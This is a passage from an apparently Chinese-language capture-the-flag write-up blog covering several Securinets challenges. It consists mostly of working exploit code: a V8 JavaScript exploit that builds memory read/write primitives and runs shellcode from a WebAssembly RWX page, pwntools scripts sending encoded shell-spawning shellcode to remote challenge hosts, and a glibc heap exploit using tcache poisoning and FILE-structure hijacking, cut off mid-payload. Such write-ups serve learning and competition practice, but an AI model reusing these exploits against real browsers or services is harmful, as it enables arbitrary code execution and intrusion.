<span class="line">&#123;</span>
<span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[HEX]: 0x&quot;</span>+i.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">padStart</span>(<span class="number">16</span>,<span class="string">&quot;0&quot;</span>));</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">let</span> arr = [<span class="number">1.1</span>, <span class="number">2.2</span>, <span class="number">3.3</span>, <span class="number">4.4</span>, <span class="number">5.5</span>, <span class="number">6.6</span>, <span class="number">7.7</span>, <span class="number">8.8</span>, <span class="number">9.9</span>, <span class="number">10.10</span>, <span class="number">11.11</span>, <span class="number">12.12</span>, <span class="number">13.13</span>, <span class="number">14.14</span>, <span class="number">15.15</span>, <span class="number">16.16</span>, <span class="number">17.17</span>, <span class="number">18.18</span>, <span class="number">19.19</span>, <span class="number">20.20</span>];</span>
<span class="line"><span class="keyword">let</span> obj_arr = [&#123;&#125;, &#123;&#125;, &#123;&#125;];</span>
<span class="line"><span class="keyword">let</span> evil_len = &#123;</span>
<span class="line">    <span class="attr">valueOf</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span>
<span class="line">        <span class="comment">// arr.push(&#123;&#125;); // Change the array to HOLEY_ELEMENTS array if needed</span></span>
<span class="line">        arr.<span class="property">length</span> = <span class="number">2</span>;</span>
<span class="line">        <span class="keyword">return</span> <span class="number">19</span>;</span>
<span class="line">    &#125;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line">arr.<span class="title function_">shrink</span>(evil_len);</span>
<span class="line"></span>
<span class="line"><span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">0xfe000000</span>);</span>
<span class="line"><span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">0xfe000000</span>);</span>
<span class="line"><span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">0xfe000000</span>);</span>
<span class="line"><span class="comment">// %DebugPrint(arr);</span></span>
<span class="line"><span class="comment">// const map_value = arr[2];</span></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">show_arr</span>(<span class="params"></span>)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i++) &#123;</span>
<span class="line">        <span class="title function_">phex</span>(<span class="title function_">f2i</span>(arr[i]));</span>
<span class="line">    &#125;</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">addr_of</span>(<span class="params">obj</span>)</span>
<span class="line">&#123;</span>
<span class="line">    obj_arr[<span class="number">2</span>] = obj;</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">f2i</span>(arr[<span class="number">6</span>]) &amp; <span class="number">0xffffffffn</span>;</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">read32_at</span>(<span class="params">addr</span>)</span>
<span class="line">&#123;</span>
<span class="line">    arr[<span class="number">7</span>] = <span class="title function_">i2f</span>(((addr-<span class="number">8n</span>) &lt;&lt; <span class="number">32n</span>) | <span class="number">0x725n</span>);</span>
<span class="line">    arr[<span class="number">8</span>] = <span class="title function_">i2f</span>((<span class="number">0x2n</span> &lt;&lt; <span class="number">32n</span>) | (<span class="number">0x2n</span>));</span>
<span class="line">    <span class="keyword">return</span> <span class="title function_">f2i</span>(obj_arr[<span class="number">0</span>][<span class="number">0</span>]);  </span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">write32_at</span>(<span class="params">addr, val</span>)</span>
<span class="line">&#123;</span>
<span class="line">    arr[<span class="number">7</span>] = <span class="title function_">i2f</span>(((addr-<span class="number">8n</span>) &lt;&lt; <span class="number">32n</span>) | <span class="number">0x725n</span>);</span>
<span class="line">    arr[<span class="number">8</span>] = <span class="title function_">i2f</span>((<span class="number">0x2n</span> &lt;&lt; <span class="number">32n</span>) | (<span class="number">0x2n</span>));</span>
<span class="line">    obj_arr[<span class="number">0</span>][<span class="number">0</span>] = <span class="title function_">i2f</span>(val);</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="keyword">function</span> <span class="title function_">pwn</span>(<span class="params"></span>)</span>
<span class="line">&#123;</span>
<span class="line">    darr_map = <span class="title function_">f2i</span>(arr[<span class="number">2</span>]);</span>
<span class="line">    oarr_map = <span class="title function_">f2i</span>(arr[<span class="number">17</span>]);</span>
<span class="line">    darr_addr = (<span class="title function_">f2i</span>(arr[<span class="number">3</span>]) + <span class="number">8n</span>) &amp; <span class="number">0xffffffffn</span>;</span>
<span class="line">    oarr_addr = darr_addr + <span class="number">0x28n</span>;</span>
<span class="line">    obj0_addr = oarr_addr + <span class="number">0xcn</span>;</span>
<span class="line">    <span class="title function_">phex</span>(obj0_addr);</span>
<span class="line">    <span class="title function_">phex</span>(oarr_map);</span>
<span class="line"></span>
<span class="line">    arr[<span class="number">6</span>] = <span class="title function_">i2f</span>((darr_map &amp; <span class="number">0xffffffffn</span>) &lt;&lt; <span class="number">32n</span>);</span>
<span class="line">    <span class="comment">// arr[7] = i2f((darr_map &gt;&gt; 32n) | )</span></span>
<span class="line"></span>
<span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">0x400</span>);</span>
<span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span>
<span class="line"></span>
<span class="line">    backing = <span class="title function_">addr_of</span>(data_buf) + <span class="number">0x24n</span>;</span>
<span class="line">    haddr = <span class="title function_">read32_at</span>(backing);</span>
<span class="line">    <span class="title function_">phex</span>(backing);</span>
<span class="line">    <span class="title function_">phex</span>(haddr);</span>
<span class="line">    <span class="comment">// %DebugPrint(data_buf);</span></span>
<span class="line">    <span class="comment">// %DebugPrint(data_view);</span></span>
<span class="line">    <span class="comment">// %DebugPrint(arr);</span></span>
<span class="line"></span>
<span class="line">    <span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span>
<span class="line">    <span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span>
<span class="line">    <span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span>
<span class="line">    <span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span>
<span class="line"></span>
<span class="line">    f_addr = <span class="title function_">addr_of</span>(f);</span>
<span class="line">    instance_addr = <span class="title function_">read32_at</span>(f_addr + <span class="number">0x10n</span>) &amp; <span class="number">0xffffffffn</span>;</span>
<span class="line">    function_data_addr = <span class="title function_">read32_at</span>(instance_addr + <span class="number">4n</span>) &amp; <span class="number">0xffffffffn</span>;</span>
<span class="line">    instance_data = <span class="title function_">read32_at</span>(function_data_addr + <span class="number">0x14n</span>) &amp; <span class="number">0xffffffffn</span>;</span>
<span class="line">    rwx = <span class="title function_">read32_at</span>(instance_data + <span class="number">0x30n</span>);</span>
<span class="line"></span>
<span class="line">    </span>
<span class="line">    <span class="title function_">phex</span>(f_addr);</span>
<span class="line">    <span class="title function_">phex</span>(instance_addr);</span>
<span class="line">    <span class="title function_">phex</span>(function_data_addr);</span>
<span class="line">    <span class="title function_">phex</span>(instance_data);</span>
<span class="line">    <span class="title function_">phex</span>(rwx);</span>
<span class="line">    <span class="title function_">write32_at</span>(backing, rwx);</span>
<span class="line">    <span class="comment">// %DebugPrint(data_buf);</span></span>
<span class="line"></span>
<span class="line">    shellcode = [</span>
<span class="line"><span class="number">0x2434810101757968n</span>,</span>
<span class="line"><span class="number">0x2f66b84801010101n</span>,</span>
<span class="line"><span class="number">0x4850742e67616c66n</span>,</span>
<span class="line"><span class="number">0x632f656d6f682fb8n</span>,</span>
<span class="line"><span class="number">0x31d231e789485074n</span>,</span>
<span class="line"><span class="number">0xc031050f58026af6n</span>,</span>
<span class="line"><span class="number">0x4801b6d2315f036an</span>,</span>
<span class="line"><span class="number">0x315f016a050fe689n</span>,</span>
<span class="line"><span class="number">0x16ae6894801b6d2n</span>,</span>
<span class="line"><span class="number">0x50f58n</span>,</span>
<span class="line"></span>
<span class="line"></span>
<span class="line">        ];</span>
<span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; shellcode.<span class="property">length</span>; ++i)</span>
<span class="line">    &#123;</span>
<span class="line">    data_view.<span class="title function_">setFloat64</span>(i * <span class="number">8</span>, <span class="title function_">i2f</span>(shellcode[i]), <span class="literal">true</span>);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="title function_">f</span>();</span>
<span class="line">&#125;</span>
<span class="line"><span class="title function_">pwn</span>()</span>
<span class="line"><span class="keyword">while</span>(<span class="number">1</span>) &#123;&#125;</span>
<span class="line"></span>
</pre></td></tr></table></figure>

<h1 id="push-pop-all"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#push-pop-all" class="headerlink" title="push pop all"></a>push pop all</h1><p>在里面藏个bad就会阻断cs的解析</p>
<p>然后我们用push pop指令再把bad指令写掉，就能正常执行后面的shellcode了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"><span class="keyword">import</span> base64</span>
<span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span>
<span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span>
<span class="line"></span>
<span class="line">host = <span class="string">&#x27;127.0.0.1&#x27;</span></span>
<span class="line">port = <span class="number">1337</span></span>
<span class="line"></span>
<span class="line">host = <span class="string">&#x27;pwn-14caf623.p1.securinets.tn&#x27;</span></span>
<span class="line">port = <span class="number">9001</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    p = remote(host, port)</span>
<span class="line">    shellcode = asm(<span class="string">&#x27;pop rax&#x27;</span>)*<span class="number">8</span></span>
<span class="line">    shellcode += asm(<span class="string">&#x27;push r11; pop rsp; pop rax; pop rbx; push rax;&#x27;</span>) + <span class="string">b&#x27;\x60&#x27;</span></span>
<span class="line">    shellcode += asm(<span class="string">&#x27;nop; nop; add rsp, 0x800;&#x27;</span> + shellcraft.sh())</span>
<span class="line">    shellcode = base64.b64encode(shellcode)</span>
<span class="line">    p.sendline(shellcode)</span>
<span class="line">    p.interactive()</span>
<span class="line">    p.close()</span>
<span class="line"></span>
<span class="line">pwn()</span>
</pre></td></tr></table></figure>

<h1 id="push-pop-all-revenge"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#push-pop-all-revenge" class="headerlink" title="push pop all revenge"></a>push pop all revenge</h1><p>我不喜欢这道题 TvT</p>
<p>用 search -2 050f找syscall，然后pop到寄存器里再push到rwx<br>或者用canary 1&#x2F;256拿 0xf</p>
<p>长度有0x2000，足够我们pop来搜索</p>
<p>search -w -2 …</p>
<p><img src="https://imi-imiab.com/images/posts/6ff66b433cf2947cee0d.png" alt="PixPin\_2025-10-07\_14-23-22" loading="lazy" decoding="async"></p>
<p>这是第一种办法，肉眼查找法。第一种办法的优化是自己编写一个gdb脚本，将search的结果与栈上指针比对，最后找到一个可以获得0x50f的办法</p>
<p>第二种办法是用pop sp修改rsp的低位，之前我只知道64位下没有pop eax…但是没想到原来可以pop ax…</p>
<p>用pop sp 修改 rsp低位为7，然后pop到0x507即可</p>
<p>第三种做法是控制code的长度，填充我们的shellcode使其长度为0x507，然后找到我们code的源代码，再反照对象的引用路径，最后在栈上找到能跑过去的链子</p>
<p><img src="https://imi-imiab.com/images/posts/915ba1004c71b46b4e7c.png" alt="PixPin\_2025-10-07\_14-42-56" loading="lazy" decoding="async"></p>
<p><img src="https://imi-imiab.com/images/posts/61aad1966c0fb3bd805f.png" alt="PixPin\_2025-10-07\_14-43-12" loading="lazy" decoding="async"></p>
<p>咕咕嘎嘎.mp4<br>（不过这里在栈更高位的地方上不去）<br>（但是pop sp疑似就上去了）</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&quot;/bin/python&quot;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;pwn-14caf623.p1.securinets.tn&#x27;</span></span>
<span class="line">port= <span class="number">9090</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># host = &#x27;127.0.0.1&#x27;</span></span>
<span class="line"><span class="comment"># port = 1337</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    p = remote(host, port)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">  </span>
<span class="line">    shellcode = asm(<span class="string">&#x27;pop rcx; pop rcx; pop rcx;&#x27;</span>)</span>
<span class="line">    shellcode += asm(<span class="string">&#x27;pop rsp; pop rcx; pop rcx; pop rcx; pop rsp;&#x27;</span>) + asm(<span class="string">&#x27;pop rbx&#x27;</span>)* <span class="number">397</span> + asm(<span class="string">&#x27;pop rsp; pop rcx; pop rcx; pop rcx;&#x27;</span>)</span>
<span class="line">    shellcode += asm(<span class="string">&#x27;pop rcx; pop rsp; pop rcx; pop rcx; pop rbx; push r11; pop rsp;&#x27;</span>)</span>
<span class="line">    shellcode += asm(<span class="string">&#x27;pop rcx; push rsp; pop rsi&#x27;</span>) + asm(<span class="string">&#x27;pop rcx&#x27;</span>) * <span class="number">0x40</span> + asm(<span class="string">&#x27;push rbx; pop rdx&#x27;</span>)</span>
<span class="line">    shellcode = shellcode.ljust(<span class="number">0x50f</span>, asm(<span class="string">&#x27;pop rcx&#x27;</span>))</span>
<span class="line">    shellcode = b64encode(shellcode)</span>
<span class="line"></span>
<span class="line">    sla(<span class="string">&#x27;Shellcode : &#x27;</span>, shellcode)</span>
<span class="line">    <span class="comment"># sleep(10)</span></span>
<span class="line">    shellcode = <span class="string">b&#x27;\x90&#x27;</span>*<span class="number">0x220</span> + asm(<span class="string">&#x27;add rsp, 0x800;&#x27;</span> + shellcraft.sh())</span>
<span class="line">    s(shellcode)</span>
<span class="line">    <span class="comment"># p.recv(1, timeout=2)</span></span>
<span class="line">    <span class="comment"># shellcode = b&#x27;\x90&#x27;*0x520 + asm(&#x27;add rsp, 0x800;&#x27;) + asm(shellcraft.write(1, &#x27;rsp&#x27;, 0x100))</span></span>
<span class="line">    <span class="comment"># sleep(0.5)</span></span>
<span class="line">    <span class="comment"># sl(shellcode)</span></span>
<span class="line">    <span class="comment"># p.interactive()</span></span>
<span class="line">    <span class="comment"># p.recv(1)</span></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<p>记得控制rdx不要太大</p>
<h1 id="spell-manage"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#spell-manage" class="headerlink" title="spell manage"></a>spell manage</h1><p>简单的堆题，给了个任意申请</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./main&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;&#x27;</span></span>
<span class="line">port= <span class="number">0</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, content</span>):    </span>
<span class="line">    s = content.ljust(<span class="number">0x6c</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>, <span class="built_in">str</span>(idx))</span>
<span class="line">    sa(<span class="string">&#x27;: &#x27;</span>, s[<span class="number">0</span>:<span class="number">0x20</span>])</span>
<span class="line">    sa(<span class="string">&#x27;: &#x27;</span>, s[<span class="number">0x20</span>:<span class="number">0x60</span>])</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x60</span>:<span class="number">0x64</span>])))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x64</span>:<span class="number">0x68</span>])))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x68</span>:<span class="number">0x6c</span>])))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content</span>):</span>
<span class="line">    s = content.ljust(<span class="number">0x6c</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;: &#x27;</span>, <span class="built_in">str</span>(idx))</span>
<span class="line">    sa(<span class="string">&#x27;: &#x27;</span>, s[<span class="number">0</span>:<span class="number">0x20</span>])</span>
<span class="line">    sa(<span class="string">&#x27;: &#x27;</span>, s[<span class="number">0x20</span>:<span class="number">0x60</span>])</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x60</span>:<span class="number">0x64</span>])))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x64</span>:<span class="number">0x68</span>])))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(u32(s[<span class="number">0x68</span>:<span class="number">0x6c</span>])))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">show</span>():</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;3&#x27;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">idx</span>):</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;4&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(idx))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line"></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">7</span>):</span>
<span class="line">        add(i, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line">        free(i)</span>
<span class="line">    show()</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;Slot 0:\n  Name:&#x27;</span>)</span>
<span class="line">    haddr = u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)*<span class="number">0x10</span> + <span class="number">0x90</span></span>
<span class="line">    tkey = haddr &gt;&gt; <span class="number">12</span></span>
<span class="line">    add(<span class="number">8</span>, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line">    add(<span class="number">9</span>, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">11</span>):</span>
<span class="line">        add(<span class="number">10</span> + i, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    free(<span class="number">8</span>)</span>
<span class="line">    free(<span class="number">9</span>)</span>
<span class="line"></span>
<span class="line">    edit(<span class="number">0</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x58</span>+p64(<span class="number">0x81</span>)+p64(tkey))</span>
<span class="line">    edit(<span class="number">9</span>, p64(tkey ^ (haddr + <span class="number">0x60</span>)))</span>
<span class="line">    add(<span class="number">8</span>, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line">    add(<span class="number">9</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x18</span> + p64(<span class="number">0x481</span>))</span>
<span class="line"></span>
<span class="line">    free(<span class="number">1</span>)</span>
<span class="line">    show()</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;Slot 1:\n  Name: &#x27;</span>)</span>
<span class="line">    libcbase = u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x203b20</span></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">5</span>):</span>
<span class="line">        add(<span class="number">11</span> + i, <span class="string">b&#x27;&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    add(<span class="number">12</span>, p64(tkey ^ (libcbase+libc.sym[<span class="string">&#x27;_IO_list_all&#x27;</span>])))</span>
<span class="line"></span>
<span class="line">    fake_io = haddr + <span class="number">0x390</span></span>
<span class="line">    IO_wfile_jumps=libcbase+libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]</span>
<span class="line">    setcontext_61=libcbase+libc.sym[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span>
<span class="line">    rdi=libcbase+<span class="number">0x000000000010f75b</span></span>
<span class="line">    rax=libcbase+<span class="number">0x00000000000dd237</span></span>
<span class="line">    rsi=libcbase+<span class="number">0x0000000000110a4d</span></span>
<span class="line">    sys_ret=libcbase+<span class="number">0x000000000098FC5</span></span>
<span class="line">    ret=libcbase+<span class="number">0x000000000010f75b</span>+<span class="number">1</span></span>
<span class="line">    saddr=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line">    binsh=libcbase+libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line">    Rop=p64(rdi)+p64(binsh)+p64(saddr)</span>
<span class="line">    orw=p64(setcontext_61)+p64(rdi)+p64(<span class="number">0xFFFFFF9C</span>)</span>
<span class="line">    <span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line">    <span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line">    <span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line">    <span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line">    <span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line">    <span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line">    <span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line">    <span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line">    <span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line">    <span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line">    <span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line">    <span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line">    <span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line">    <span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line">    <span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line">    <span class="comment"># magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]</span></span>
<span class="line">    </span>
<span class="line">    pay=flat(</span>
<span class="line">    &#123;</span>
<span class="line">    <span class="number">0x0</span>:[<span class="string">b&#x27;/bin/sh\x00&#x27;</span>],     <span class="comment"># rdi = binsh</span></span>
<span class="line">    <span class="number">0x20</span>:[p64(<span class="number">0</span>)],            <span class="comment"># write_base</span></span>
<span class="line">    <span class="number">0x28</span>:[p64(<span class="number">1</span>)],            <span class="comment"># write_ptr --&gt; ptr &gt; base</span></span>
<span class="line">    <span class="number">0x48</span>:[p64(saddr)],</span>
